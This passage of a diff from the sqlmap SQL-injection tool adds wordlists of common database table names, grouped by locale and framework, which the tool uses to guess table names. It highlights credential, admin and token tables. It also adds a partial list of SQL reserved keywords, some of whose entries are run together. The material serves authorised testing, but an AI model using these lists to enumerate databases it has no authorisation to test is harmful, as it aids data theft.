+Konto +Konten +admin_psw +verwalten +verwaltet +administrieren +Verwaltung +Administratoren +adminpsw +adminupass +Kunst +Artikel +Autor +Buch +chat +Kunden +tblnews +banner +options +general +upload +uploads +file +akhbar +Firma +contenu +Kontakt +Kontakte +Inhalt +Kontrolle +controle +Kunde +Tagebuch +herunterladen +dw +glmm +gly +us +stnuser +stuser +stusers +stuseres +dbstaff +db_staff +staff_db +database +databases +test_user +user_test +test_users +users_test +Gruppe +Gruppen +guanli +guanliyuan +h_admin +Bilder +Mitgliederbereich +key +keywords +Anmeldung +Protokolle +Mitglied +Mitgliederliste +Mitglieder +mima +mm +mpassword +musername +Film +Filme +nc +new +Namen +Auftrag +Bestellungen +Passwort +power +psw +pswd +pw +pwd1 +jhu +webapps +sing +singup +singin +registeration +reg +registriert +root +roots +Tagung +Sitzungen +Einstellungen +Standorte +Statistiken +sys +Systemadministratoren +systime +Tisch +Tabellen +Titel +Benutzer +user_pw +Benutzerliste +userpasswd +usr_pw +usrs +Benutzername +Benutzernamen +vip +Webbenutzer +Kategorie +Land +Suchoptionen +Serie +Staaten +UnterkKlasse +Umfrage +TotalMembers +Veranstaltungsort +Veranstaltungsorte +utilisateur +trier +compte +comptes +administrer +administrables +administrateur +administrateurs +auteur +livre +entreprise +concessionnaire +concessionnaires +telecharger +groupe +groupes +liens +connexion +principal +gestionnaire +membre +membres +films +nom +noms +ordre +commandes +partenaire +partenaires +passe +asse +enregistrs +paramtres +statistiques +super +tester +utilisateurs +intranet_users +utlisateur +Catogorie +Pays +Sujets +Sondage +Titres +Lieux +server +ststaff +yhm +yhmm + +# site:it + +utenti +categorie +attivita +comuni +discipline +Clienti +gws_news +emu_services +nlconfig +Accounts +gws_page +argomento +ruolo +emu_profiles +user_connection +jos_jf_tableinfo +regioni +dati +gws_admin +articoli +cron_send +comune +esame +dcerpcbinds +gruppi +Articoli +gws_banner +gws_category +soraldo_ele_tipo +db_version +jos_languages +mlmail +gws_product +connections +not_sent_mails +utente +documento +gws_purchase +offers +anagrafica +gws_text +sent_mails +gws_jobs +eventi +mlattach +downloads +mlgroup +decodifica_tabelle +p0fs +gws_client +decodifica_campi +dcerpcrequests +discipline_utenti +jos_jf_content + +# site:fr + +facture +factures +devis +commande +bon_commande +bon_livraison +fournisseur +panier +paiement +reglement +Avion +departement +Compagnie +produits +spip_auteurs +BDDJoueurs_alliance +spip_articles +spip_syndic +pays +spip_auteurs_rubriques +spip_mots_forum +spip_signatures +diplomatie +spip_mots_breves +spip_forum +spip_auteurs_messages +spip_documents +spip_messages +spip_index_dico +spip_meta +spip_petitions +spip_mots_syndic +spip_types_documents +etudiant +spip_groupes_mots +spip_documents_articles +spip_rubriques +spip_breves +agenda +BDDJoueurs_colonies +spip_mots_articles +spip_mots +spip_syndic_articles +spip_auteurs_articles +spip_mots_rubriques +BDDJoueurs +modulephoto +nuke_cities +forums +nuke_banner_positions +nuke_subscriptions +nuke_downloads_categories +nuke_journal_comments +nuke_bbranks +spip_documents_rubriques +nuke_confirm +service +nuke_bbthemes_name +nuke_autonews +nuke_bbdisallow +nuke_reviews_add +EDITEUR +nuke_links_newlink +nuke_faqcategories +etudiants +nuke_stats_year +nuke_bbsmilies +spip_mots_documents +spip_documents_breves +nuke_bbsearch_results +post +nuke_users_temp +nuke_blocks +nuke_reviews_main +themes +nuke_modules +nuke_banner_plans +nuke_links_votedata +spip_referers +inscription +BONUS +nuke_links_editorials +nuke_topics +nuke_bbprivmsgs_text +chatbox +nuke_referer +nuke_bbauth_access +nuke_journal_stats +nuke_faqanswer +nuke_banner_terms +message +nuke_bbvote_voters +nuke_pages_categories +spip_index +modulerubriquephoto +spip_visites +Role +nuke_public_messages +actualites +nuke_reviews_comments +nuke_downloads_votedata +nuke_headlines +nuke_downloads_editorials +enseignant +modulemessage +nuke_session +nuke_queue +nuke_main +nuke_bbposts +spip_ortho_cache +Enseignant +nuke_downloads_newdownload +sons +plurielanim +nuke_bbforums +nuke_bbsearch_wordmatch +nuke_bbvote_results +nuke_stats_date +nuke_bbwords +nuke_bbcategories +typecompte +nuke_stories +nuke_stats_month +personne +etablissement +nuke_counter +indexation +nuke_poll_desc +nuke_links_links +nuke_bbtopics +Utilisateurs +nuke_related +nuke_downloads_downloads +spip_versions_fragments +nuke_bbgroups +nuke_bbtopics_watch +nuke_bbuser_group +nuke_downloads_modrequest +spip_versions +Joueur +nuke_bbsessions +nuke_links_categories +directeur +Etudiant +nuke_bbposts_text +nuked_page +Personne +nuke_bbbanlist +Parametre +nuke_pollcomments +nuke_bbforum_prune +nuke_pages +nuke_links_modrequest +nuke_stats_hour +nuke_groups_points +nuke_reviews +nuke_bbthemes +modulemailling +agence +nuke_encyclopedia +nuke_bbsearch_wordlist +nuke_message +Equipe +nuke_comments +nuke_poll_check +nuke_journal +nuke_stories_cat +nuke_banner +nuke_groups +spip_visites_articles +nuke_encyclopedia_text +spip_referers_articles +nuke_bbvote_desc +Artiste +nuke_poll_data +nuke_bbprivmsgs +spip_ortho_dico +spip_caches + +# site:ru + +spravochnik +nomenklatura +dokument +zakaz +ostatki +kontragenty +klient +uslugi +provodki +obrabotka +sklad +zhurnal +guestbook +currency +phpshop_opros_categories +voting +terms +phpshop_categories +banners +phpshop_news +phpshop_system +phpshop_baners +phpshop_menu +phpshop_links +mapdata +setup_ +phpshop_users +jubjub_errors +vykachka +phpshop_opros +order_item + +# site:de + +tt_content +kunde +medien +Mitarbeiter +fe_users +voraussetzen +bestellung +be_users +Vorlesungen +persons +Assistenten +Professoren +Studenten +lieferant +mitarbeiter +gruppe +wp_post2cat +phpbb_forum_prune +crops +mein_doc +artikel_kategorie +kategorien +rel_person_paper +tx_tcdirectmail_bounceaccount +Akten +skins +riddles +ci_slogans +phpbb_vote_voters +account_map_event +roles +stellen +meetings +special_category +rel_paper_topic +kbase_category +attribut +phpbb_auth_access +zo_gruppe_stelle +zo_kontakt_stelle +hoeren +shop_settings +tutorial +motd_coding +artikel_variationsgruppen +papers +gesuche +zahlung_weitere +ts2_server_privileges +artikel_variationen +artikel_optionen +chessgames +portale +products_images +phpbb_privmsgs_text +kurs +KUNDE +wp_linkcategories +tx_tcdirectmail_targets +tx_templavoila_datastructure +Adresse +bestellung_kunde +rel_person_topic +css_file +visual +account_multi +Adressen +phpbb_words +phpbb_disallow +kauf_artikel +music_association +phpbb_banlist +dokumente +greylist +backup +map_event +kreditkarte +house_extensions +address_book +crops_tpl +phpbb_vote_desc +versandkostenpreise +pruefen +gruppen +vertreter +phpbb_confirm +verkaeufer +be_groups +rel_person_organization +phpbb_privmsgs +buecher +kategorie +phpbb_sessions +phpbb_search_results +studierende +user_online_newyear +hersteller +object_link +adresse +address_format +newsletter_recipients +PERMISSIONS +user_uploads_pictures +festplatte +veranstalter +mein_doc_h +tx_tcdirectmail_clicklinks +phpbb_vote_results +phpbb_topics_watch +tx_tcdirectmail_lock +account_map +standort +gd +delete_reasons +tx_tcdirectmail_sentlog +valhalla +vis_typen +counter +kbase_main +music_items +kauf +payment_qenta +seite_abschnitt +trivia +mehrwertsteuer +massenmail +klassen +hilfe +geraet +tt_address +dg_books +portal_access +orders_recalculate +artikel_bestellung +kontakt +chesshistory +notizen +seite_layout +virgator_table +wp_categories +chessmessages + +# site:br + +endereco +pessoa +usuarios +estado +pedidos +CLIENTE +itens +telefone +empresa +PRODUTO +categoria +cidades +clientes +produtos +municipio +cliente +LT_PROCEDIMENTO +calendario +D_US_FAVORITOS +moradia +pessoa_telefone +contador +aidf +resumo +add_irm +M_ESQUEMA_PERMISSAO +duvida +LT_METODO_ATUALIZACAO +M_RELATORIOS +LT_SERIE +estados +LT_OBJETO +cidade +declaracaonf +especieaidf +S_SESSOES +D_PR_HONORARIOS +empresa_atividade +correcaostrategy +jos_docman_groups +D_US_RECENTE +notafiscal +solicitacao +pessoa_endereco +atividade +M_FATURAS +D_PR_APENSOS +agencia +LT_LANCAMENTO +D_US_AREA_DE_TRABALHO +D_FA_ITENS +dist_universidade +multastrategy_faixamulta +LT_TIPO_DE_ACAO +D_PR_EVENTOS +D_FA_PARCELAS +tipodeducao +D_PR_PARCELAMENTO +sala +D_US_EQUIPES_DO_USUARIO +cidadao +documentos +S_GLOBAL +M_CADASTRO_GERAL +jos_docman_licenses +guiaavulsa +solicitacaosenha +M_CUBOS +promocoes +grau_escolaridade +imagens +multastrategy +D_PR_PARTES +processo +gestor +imagem +categorias +LT_CLASSE_FORO +jurosstrategy +deducao +S_PARAMETROS +notafiscal_deducao +CAIXA +foto +M_FERIADOS +S_ORIGENS +guiaavulsa_itemguiaavulsa +situacaoitem +notafiscal_itemnotafiscal +cotacao +papel +M_EMAIL_FILA +D_PR_OBJETOS +dados_prefeitura +S_LOG +LT_FASE +D_PR_ADVOGADOS +M_USUARIO +projeto +LT_SITUACAO +D_PR_CUSTAS +grupoatividade +LT_NATUREZA +membros_familia +instituicao +emprestimos +itemguiaavulsa +D_EM_DESTINATARIO +LT_GRUPO +S_SEQUENCIAS +itemnotafiscal +disciplina +jos_docman +autorizacaonfe +tipo_bolsa +estoque +LT_JURISDICAO +serie +sse_estudante +LT_FOROS +perfil +despesa_familia +noticias +LT_GARANTIA +M_ESQUEMA_HORARIO +MM_NOTIFICACOES_DO_PROCESSO +jos_jce_plugins +grau_parentesco +D_PR_GARANTIAS +M_SERVICOS_PRESTADOS +LT_CATEGORIA +faixamulta +encerramento +M_PROCESSOS +dados_familia +MM_USUARIOS_DO_PROCESSO +LT_ENCERRAMENTO +LT_DECISAO +indice +contador_empresa +sse_familia +D_SE_INDICES +cursos +estado_civil +dados_estudante +LT_EQUIPES +LT_PROGNOSTICO +LT_EVENTO +jos_jce_groups +D_PR_DOCUMENTOS +D_PR_DESDOBRAMENTOS +logradouro +despesa_aluno +fiscal +LT_CUSTOM4 +convite +manutencao +LT_CUSTOM1 +LT_CUSTOM2 +LT_CUSTOM3 + +# site:es + +jos_respuestas +DEPARTAMENTO +EMPLEADO +TRABAJA_EN +DEPENDIENTE +LOCALIZACIONES_DEPT +PROYECTO +lineas_fac +pueblos +NUEVOS +CENTROS +BANCOS +PERSONAL +SUCURSALES +PRODUCTOS +provincias +jos_estadisticas +USUARIO +ALUM +MOVIMIENTOS +ACTOR +nuke_gallery_rate_check +ANTIGUOS +CUENTAS +vendedores +CLIENTES +articulos +DEPARTAMENTOS +PROFESORES +jos_preguntas +PEDIDOS +EMPLEADOS +nuke_gallery_pictures_newpicture +Books +grupo +facturas +aclaraciones +preguntas +personas +estadisticas + +# site:cn + +yonghu +dingdan +shangpin +zhanghu +jiaoyi +zhifu +rizhi +quanxian +juese +caidan +xinxi +shuju +guanliyuan +xitong +peizhi +canshu +zidian +url +BlockInfo +cdb_attachments +cdb_buddys +LastDate +cdb_medals +cdb_forumlinks +cdb_adminnotes +cdb_admingroups +stkWeight +cdb_announcements +cdb_bbcodes +cdb_advertisements +cdb_memberfields +cdb_forums +cdb_forumfields +cdb_favorites +cdb_banned +cdb_crons +cdb_access +cdb_invites +sysmergeschemaarticles +CodeRuleType +cdb_membermagics +cdb_imagetypes +cdb_memberspaces +cdb_campaigns +pw_wordfb +cdb_paymentlog +cdb_adminsessions +pw_adminset +seen +t_snap +MSmerge_altsyncpartners +zl_deeds +pw_styles +pw_announce +cdb_pluginvars +pw_smiles +cdb_modworks +ncat +pw_threads +zl_admin +cdb_onlinetime +cdb_mythreads +cdb_members +spt_datatype_info +seentype +zl_article +spt_datatype_info_ext +cdb_debateposts +mgbliuyan +pw_schcache +zl_finance +pw_banuser +cdb_pluginhooks +wp1_categories +MSmerge_errorlineage +cdb_activities +zl_baoming +cdb_orders +ad_ad +cdb_pms +cdb_magics +cdb_itempool +phpcms_announce +pw_actions +pw_msg +cdb_debates +cdb_magiclog +pw_forums +cdb_polls +t_stat +pw_attachs +cdb_plugins +pw_membercredit +cdb_posts +cdb_activityapplies +zl_media +acctmanager +pw_usergroups +cdb_faqs +cdb_onlinelist +pw_hack +Market +MSrepl_identity_range +pw_favors +pw_config +pw_credits +cdb_failedlogins +pw_posts +cdb_attachpaymentlog +cdb_myposts +cdb_polloptions +wp1_comments +cdb_caches +pw_members +spt_provider_types +pw_sharelinks +pw_tmsgs +pw_polls +cdb_moderators +pw_bbsinfo +aliasregex +userfiles +acctmanager2 +cdb_pmsearchindex +cdb_forumrecommend +publishers +zl_advertisement +guanggaotp +pw_memberinfo +aliastype + +# site:tr + +kullanici +kullanicilar +yonetici +yoneticiler +adres +adresler +yayincilar +yayinci +urun +urunler +kategori +kategoriler +ulke +ulkeler +siparis +siparisler +bayi +bayiler +stok +reklam +reklamlar +site +siteler +sayfa +sayfalar +icerik +icerikler +yazi +yazilar +genel +istatistik +istatistikler +duyuru +duyurular +haber +haberler +komisyon +ucret +ucretler +bilgi +basvuru +basvurular +kontak +kontaklar +kisi +kisiler +uye +uyeler +kayıt +kayıtlar +tel +telefon +telefonlar +numaralar +numara +kart +kartlar +kredi +krediler +kredikartı +fiyat +fiyatlar +odeme +odemeler +kategoriler +tbl_Uye +xml_kategoriler +tbl_siparis +tbl_googlemap +tbl_ilce +tbl_yardim +tbl_Resim +tbl_anket +tbl_Rapor +tbl_statsvisit +tbl_ticket +tbl_Cesit +tbl_xml +tbl_Cinsiyet +xml_urunler_temp +tbl_takvim +tbl_altkategori +tbl_mesaj +tbl_Haber +tbl_AdresTemp +tbl_Firma +tbl_Medya +xml_urunlerbirim +tbl_Yardim +tbl_medya +tbl_Video +xml_markalar_transfer +tbl_adrestemp +tbl_online +tbl_sehir +tbl_resim +tbl_Gorsel +tbl_doviz +tbl_gorsel +tbl_kampanya +tbl_Blog +tbl_Banners +tbl_koleksiyon +tbl_Galeri +tbl_Kampanya +tbl_Favori +tbl_sss +tbl_Banner +tbl_Faq +xml_markalar_temp +tbl_faq +tbl_Personel +tbl_Seo +tbl_adres +tbl_ayar +tbl_metin +tbl_AltKategori +tbl_kategori +tbl_Marka +tbl_blogkategori +tbl_ulke +tbl_sepetold +tbl_yorum +tbl_Fiyat +tbl_Reklam +tbl_Kategori +tbl_Yorum +tbl_semt +tbl_Tedarikci +xml_kampanyakategori +tbl_ozelgun +tbl_uyexml +tbl_rapor +tbl_seo +tbl_Indirim +tbl_Ilce +tbl_bulten +tbl_video +tbl_Ayar +tbl_fatura +tbl_cinsiyet +tbl_reklam +tbl_sliders +tbl_KDV +tbl_uye_img +tbl_siparisid +tbl_BlogKategori +tbl_Yonetici +tbl_kdv +tbl_Online +tbl_temsilci +tbl_Dil +tbl_banners +tbl_Mesaj +tbl_Logs +tbl_logs +tbl_fiyat +tbl_SSS +tbl_Puan +tbl_kargo +tbl_Statsvisit +tbl_Koleksiyon +tbl_dil +tbl_Sepetold +tbl_Fatura +tbl_yonetici +tbl_Yazilar +tbl_Temsilci +tbl_Kargo +tbl_cesit +tbl_uye +tbl_haber +tbl_SiparisID +tbl_Adres +tbl_Ozelgun +tbl_banka +tbl_Videogaleri +tbl_galeri +tbl_videogaleri +xml_urunresimleri +tbl_urun +tbl_Ticket +tbl_yazilar +tbl_Ulke +tbl_Urun +tbl_renk +tbl_Harita +tbl_Sepet +tbl_Sehir +tbl_Uye_Img +tbl_Semt +tbl_indirim +xml_kampanyakategori_transfer +tbl_Takvim +tbl_blog +tbl_Sliders +tbl_Renk +tbl_UyeXML +tbl_tedarikci +tbl_Fotogaleri +tbl_Doviz +tbl_Anket +tbl_Banka +tbl_Metin +tbl_XML +tbl_firma +tbl_harita +tbl_banner +tbl_sepet +tbl_fotogaleri +tbl_marka +tbl_Siparis +tbl_personel +tbl_puan +tbl_Bulten +tbl_favori +tbl_onlineusers + + + +# List provided by Pedrito Perez (0ark1ang3l@gmail.com) + +adminstbl +admintbl +affiliateUsers +hsa_user +tblmanager +tblmanagers +tblproduct +tblproducts +tuser +tusers +userstbl +usertbl + +# WebGoat + +user_data + +# https://laurent22.github.io/so-injections/ + +accounts +admin +baza_site +benutzer +category +comments +company +credentials +Customer +customers +data +details +dhruv_users +dt_tb +employees +events +forsale +friends +giorni +images +info +items +kontabankowe +login +logs +markers +members +messages +orders +order_table +photos +player +players +points +register +reports +rooms +shells +signup +songs +student +students +table +table2 +tbl_images +tblproduct +testv2 +tickets +topicinfo +trabajo +user +user_auth +userinfo +user_info +userregister +users +usuarios +utenti +wm_products +wp_payout_history +zamowienia + +# https://deliciousbrains.com/tour-wordpress-database/ + +wp_blogmeta +wp_blogs +wp_blog_versions +wp_commentmeta +wp_comments +wp_links +wp_options +wp_postmeta +wp_posts +wp_registration_log +wp_signups +wp_site +wp_sitemeta +wp_termmeta +wp_term_relationships +wp_terms +wp_term_taxonomy +wp_usermeta +wp_users + +# https://docs.joomla.org/Tables + +assets +bannerclient +banner +bannertrack +categories +components +contact_details +content_frontpage +content_rating +content +core_acl_aro_groups +core_acl_aro_map +core_acl_aro_sections +core_acl_aro +core_acl_groups_aro_map +core_log_items +core_log_searches +extensions +groups +languages +menu +menu_types +messages_cfg +messages +migration_backlinks +modules_menu +modules +newsfeeds +plugins +poll_data +poll_date +poll_menu +polls +redirect_links +Schemas +sections +session +stats_agents +templates_menu +template_styles +update_categories +update_sites_extensions +update_sites +updates +usergroups +user_profiles +users +user_usergroup_map +viewlevels +weblinks + +# site:nl + +gebruikers + +# asp.net + +AspNetUsers +AspNetRoles +AspNetUserRoles +AspNetUserClaims +AspNetUserLogins +AspNetRoleClaims +AspNetUserTokens +__EFMigrationsHistory + +# django + +auth_user +auth_group +auth_permission +django_session +django_migrations +django_content_type +django_admin_log + +# laravel + +migrations +password_resets +failed_jobs +personal_access_tokens +job_batches +model_has_roles +model_has_permissions +role_has_permissions + +# rails + +schema_migrations +ar_internal_metadata +active_storage_blobs +active_storage_attachments + +# misc. + +flyway_schema_history +databasechangelog +databasechangeloglock +alembic_version +knex_migrations +knex_migrations_lock +doctrine_migration_versions +api_keys +api_tokens +access_tokens +refresh_tokens +oauth_clients +oauth_access_tokens +oauth_refresh_tokens +webhooks +webhook_events +secrets +credentials +audit_logs +activity_logs +system_settings +feature_flags +tenants +subscriptions +users_bak +users_old +orders_backup diff --git a/data/txt/keywords.txt b/data/txt/keywords.txt new file mode 100644 index 00000000000..36d2773ef44 --- /dev/null +++ b/data/txt/keywords.txt @@ -0,0 +1,1635 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) + +ABSOLUTE +ACTION +ADD +ALL +ALLOCATE +ALTER +AND +ANY +ARE +AS +ASC +ASSERTION +AT +AUTHORIZATION +AVG +BEGIN +BETWEEN +BIT +BIT_LENGTH +BOTH +BY +CALL +CASCADE +CASCADED +CASE +CAST +CATALOG +CHAR +CHAR_LENGTH +CHARACTER +CHARACTER_LENGTH +CHECK +CLOSE +COALESCE +COLLATE +COLLATION +COLUMN +COMMIT +CONDITION +CONNECT +CONNECTION +CONSTRAINT +CONSTRAINTS +CONTAINS +CONTINUE +CONVERT +CORRESPONDING +COUNT +CREATE +CROSS +CURRENT +CURRENT_DATE +CURRENT_PATH +CURRENT_TIME +CURRENT_TIMESTAMP +CURRENT_USER +CURSOR +DATE +DAY +DEALLOCATE +DEC +DECIMAL +DECLARE +DEFAULT +DEFERRABLE +DEFERRED +DELETE +DESC +DESCRIBE +DESCRIPTOR +DETERMINISTIC +DIAGNOSTICS +DISCONNECT +DISTINCT +DO +DOMAIN +DOUBLE +DROP +ELSE +ELSEIF +END +ESCAPE +EXCEPT +EXCEPTION +EXEC +EXECUTE +EXISTS +EXIT +EXTERNAL +EXTRACT +FALSE +FETCH +FIRST +FLOAT +FOR +FOREIGN +FOUND +FROM +FULL +FUNCTION +GET +GLOBAL +GO +GOTO +GRANT +GROUP +HANDLER +HAVING +HOUR +IDENTITY +IF +IMMEDIATE +IN +INDICATOR +INITIALLY +INNER +INOUT +INPUT +INSENSITIVE +INSERT +INT +INTEGER +INTERSECT +INTERVAL +INTO +IS +ISOLATION +JOIN +KEY +LANGUAGE +LAST +LEADING +LEAVE +LEFT +LEVEL +LIKE +LOCAL +LOOP +LOWER +MATCH +MAX +MIN +MINUTE +MODULE +MONTH +NAMES +NATIONAL +NATURAL +NCHAR +NEXT +NO +NOT +NULL +NULLIF +NUMERIC +OCTET_LENGTH +OF +ON +ONLY +OPEN +OPTION +OR +ORDER +OUT +OUTER +OUTPUT +OVERLAPS +PAD +PARAMETER +PARTIAL +PATH +POSITION +PRECISION +PREPARE +PRESERVE +PRIMARY +PRIOR +PRIVILEGES +PROCEDURE +READ +REAL +REFERENCES +RELATIVE +REPEAT +RESIGNAL +RESTRICT +RETURN +RETURNS +REVOKE +RIGHT +ROLLBACK +ROUTINE +ROWS +SCHEMA +SCROLL +SECOND +SECTION +SELECT +SESSION +SESSION_USER +SET +SIGNAL +SIZE +SMALLINT +SOME +SPACE +SPECIFIC +SQL +SQLCODE +SQLERROR +SQLEXCEPTION +SQLSTATE +SQLWARNING +SUBSTRING +SUM +SYSTEM_USER +TABLE +TEMPORARY +THEN +TIME +TIMESTAMP +TIMEZONE_HOUR +TIMEZONE_MINUTE +TO +TRAILING +TRANSACTION +TRANSLATE +TRANSLATION +TRIM +TRUE +UNDO +UNION +UNIQUE +UNKNOWN +UNTIL +UPDATE +UPPER +USAGE +USER +USING +VALUE +VALUES +VARCHAR +VARYING +VIEW +WHEN +WHENEVER +WHERE +WHILE +WITH +WORK +WRITE +YEAR +ZONE + +# MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html) + +ADD +ALL +ALTER +ANALYZE +AND +ASASC +ASENSITIVE +BEFORE +BETWEEN +BIGINT +BINARYBLOB +BOTH +BY +CALL +CASCADE +CASECHANGE +CAST +CHAR +CHARACTER +CHECK +COLLATE +COLUMN +CONCAT +CONDITIONCONSTRAINT +CONTINUE +CONVERT +CREATE +CROSS +CURRENT_DATE +CURRENT_TIMECURRENT_TIMESTAMP +CURRENT_USER +CURSOR +DATABASE +DATABASES +DAY_HOUR +DAY_MICROSECONDDAY_MINUTE +DAY_SECOND +DEC +DECIMAL +DECLARE +DEFAULTDELAYED +DELETE +DESC +DESCRIBE +DETERMINISTIC +DISTINCTDISTINCTROW +DIV +DOUBLE +DROP +DUAL +EACH +ELSEELSEIF +ENCLOSED +ESCAPED +EXISTS +EXIT +EXPLAIN +FALSEFETCH +FLOAT +FLOAT4 +FLOAT8 +FOR +FORCE +FOREIGNFROM +FULLTEXT +GRANT +GROUP +HAVING +HIGH_PRIORITYHOUR_MICROSECOND +HOUR_MINUTE +HOUR_SECOND +IF +IFNULL +IGNORE +ININDEX +INFILE +INNER +INOUT +INSENSITIVE +INSERT +INTINT1 +INT2 +INT3 +INT4 +INT8 +INTEGER +INTERVALINTO +IS +ISNULL +ITERATE +JOIN +KEY +KEYS +KILLLEADING +LEAVE +LEFT +LIKE +LIMIT +LINESLOAD +LOCALTIME +LOCALTIMESTAMP +LOCK +LONG +LONGBLOBLONGTEXT +LOOP +LOW_PRIORITY +MATCH +MEDIUMBLOB +MEDIUMINT +MEDIUMTEXTMIDDLEINT +MINUTE_MICROSECOND +MINUTE_SECOND +MOD +MODIFIES +NATURAL +NOTNO_WRITE_TO_BINLOG +NULL +NUMERIC +ON +OPTIMIZE +OPTION +OPTIONALLYOR +ORDER +OUT +OUTER +OUTFILE +PRECISIONPRIMARY +PROCEDURE +PURGE +READ +READS +REALREFERENCES +REGEXP +RELEASE +RENAME +REPEAT +REPLACE +REQUIRERESTRICT +RETURN +REVOKE +RIGHT +RLIKE +SCHEMA +SCHEMASSECOND_MICROSECOND +SELECT +SENSITIVE +SEPARATOR +SET +SHOW +SMALLINTSONAME +SPATIAL +SPECIFIC +SQL +SQLEXCEPTION +SQLSTATESQLWARNING +SQL_BIG_RESULT +SQL_CALC_FOUND_ROWS +SQL_SMALL_RESULT +SSL +STARTINGSTRAIGHT_JOIN +TABLE +TERMINATED +THEN +TINYBLOB +TINYINT +TINYTEXTTO +TRAILING +TRIGGER +TRUE +UNDO +UNION +UNIQUEUNLOCK +UNSIGNED +UPDATE +USAGE +USE +USING +UTC_DATEUTC_TIME +UTC_TIMESTAMP +VALUES +VARBINARY +VARCHAR +VARCHARACTERVARYING +VERSION +WHEN +WHERE +WHILE +WITH +WRITEXOR +YEAR_MONTH +ZEROFILL + +# MySQL 8.0 keywords (reference: https://dev.mysql.com/doc/refman/8.0/en/keywords.html) + +ACCESSIBLE +ACCOUNT +ACTION +ACTIVE +ADD +ADMIN +AFTER +AGAINST +AGGREGATE +ALGORITHM +ALL +ALTER +ALWAYS +ANALYSE +ANALYZE +AND +ANY +ARRAY +AS +ASC +ASCII +ASENSITIVE +AT +ATTRIBUTE +AUTHENTICATION +AUTOEXTEND_SIZE +AUTO_INCREMENT +AVG +AVG_ROW_LENGTH +BACKUP +BEFORE +BEGIN +BETWEEN +BIGINT +BINARY +BINLOG +BIT +BLOB +BLOCK +BOOL +BOOLEAN +BOTH +BTREE +BUCKETS +BULK +BY +BYTE +CACHE +CALL +CASCADE +CASCADED +CASE +CATALOG_NAME +CHAIN +CHALLENGE_RESPONSE +CHANGE +CHANGED +CHANNEL +CHAR +CHARACTER +CHARSET +CHECK +CHECKSUM +CIPHER +CLASS_ORIGIN +CLIENT +CLONE +CLOSE +COALESCE +CODE +COLLATE +COLLATION +COLUMN +COLUMNS +COLUMN_FORMAT +COLUMN_NAME +COMMENT +COMMIT +COMMITTED +COMPACT +COMPLETION +COMPONENT +COMPRESSED +COMPRESSION +CONCURRENT +CONDITION +CONNECTION +CONSISTENT +CONSTRAINT +CONSTRAINT_CATALOG +CONSTRAINT_NAME +CONSTRAINT_SCHEMA +CONTAINS +CONTEXT +CONTINUE +CONVERT +CPU +CREATE +CROSS +CUBE +CUME_DIST +CURRENT +CURRENT_DATE +CURRENT_TIME +CURRENT_TIMESTAMP +CURRENT_USER +CURSOR +CURSOR_NAME +DATA +DATABASE +DATABASES +DATAFILE +DATE +DATETIME +DAY +DAY_HOUR +DAY_MICROSECOND +DAY_MINUTE +DAY_SECOND +DEALLOCATE +DEC +DECIMAL +DECLARE +DEFAULT +DEFAULT_AUTH +DEFINER +DEFINITION +DELAYED +DELAY_KEY_WRITE +DELETE +DENSE_RANK +DESC +DESCRIBE +DESCRIPTION +DES_KEY_FILE +DETERMINISTIC +DIAGNOSTICS +DIRECTORY +DISABLE +DISCARD +DISK +DISTINCT +DISTINCTROW +DIV +DO +DOUBLE +DROP +DUAL +DUMPFILE +DUPLICATE +DYNAMIC +EACH +ELSE +ELSEIF +EMPTY +ENABLE +ENCLOSED +ENCRYPTION +END +ENDS +ENFORCED +ENGINE +ENGINES +ENGINE_ATTRIBUTE +ENUM +ERROR +ERRORS +ESCAPE +ESCAPED +EVENT +EVENTS +EVERY +EXCEPT +EXCHANGE +EXCLUDE +EXECUTE +EXISTS +EXIT +EXPANSION +EXPIRE +EXPLAIN +EXPORT +EXTENDED +EXTENT_SIZE +FACTOR +FAILED_LOGIN_ATTEMPTS +FALSE +FAST +FAULTS +FETCH +FIELDS +FILE +FILE_BLOCK_SIZE +FILTER +FINISH +FIRST +FIRST_VALUE +FIXED +FLOAT +FLOAT4 +FLOAT8 +FLUSH +FOLLOWING +FOLLOWS +FOR +FORCE +FOREIGN +FORMAT +FOUND +FROM +FULL +FULLTEXT +FUNCTION +GENERAL +GENERATE +GENERATED +GEOMCOLLECTION +GEOMETRY +GEOMETRYCOLLECTION +GET +GET_FORMAT +GET_MASTER_PUBLIC_KEY +GET_SOURCE_PUBLIC_KEY +GLOBAL +GRANT +GRANTS +GROUP +GROUPING +GROUPS +GROUP_REPLICATION +GTID_ONLY +HANDLER +HASH +HAVING +HELP +HIGH_PRIORITY +HISTOGRAM +HISTORY +HOST +HOSTS +HOUR +HOUR_MICROSECOND +HOUR_MINUTE +HOUR_SECOND +IDENTIFIED +IF +IGNORE +IGNORE_SERVER_IDS +IMPORT +IN +INACTIVE +INDEX +INDEXES +INFILE +INITIAL +INITIAL_SIZE +INITIATE +INNER +INOUT +INSENSITIVE +INSERT +INSERT_METHOD +INSTALL +INSTANCE +INT +INT1 +INT2 +INT3 +INT4 +INT8 +INTEGER +INTERSECT +INTERVAL +INTO +INVISIBLE +INVOKER +IO +IO_AFTER_GTIDS +IO_BEFORE_GTIDS +IO_THREAD +IPC +IS +ISOLATION +ISSUER +ITERATE +JOIN +JSON +JSON_TABLE +JSON_VALUE +KEY +KEYRING +KEYS +KEY_BLOCK_SIZE +KILL +LAG +LANGUAGE +LAST +LAST_VALUE +LATERAL +LEAD +LEADING +LEAVE +LEAVES +LEFT +LESS +LEVEL +LIKE +LIMIT +LINEAR +LINES +LINESTRING +LIST +LOAD +LOCAL +LOCALTIME +LOCALTIMESTAMP +LOCK +LOCKED +LOCKS +LOGFILE +LOGS +LONG +LONGBLOB +LONGTEXT +LOOP +LOW_PRIORITY +MASTER +MASTER_AUTO_POSITION +MASTER_BIND +MASTER_COMPRESSION_ALGORITHMS +MASTER_CONNECT_RETRY +MASTER_DELAY +MASTER_HEARTBEAT_PERIOD +MASTER_HOST +MASTER_LOG_FILE +MASTER_LOG_POS +MASTER_PASSWORD +MASTER_PORT +MASTER_PUBLIC_KEY_PATH +MASTER_RETRY_COUNT +MASTER_SERVER_ID +MASTER_SSL +MASTER_SSL_CA +MASTER_SSL_CAPATH +MASTER_SSL_CERT +MASTER_SSL_CIPHER +MASTER_SSL_CRL +MASTER_SSL_CRLPATH +MASTER_SSL_KEY +MASTER_SSL_VERIFY_SERVER_CERT +MASTER_TLS_CIPHERSUITES +MASTER_TLS_VERSION +MASTER_USER 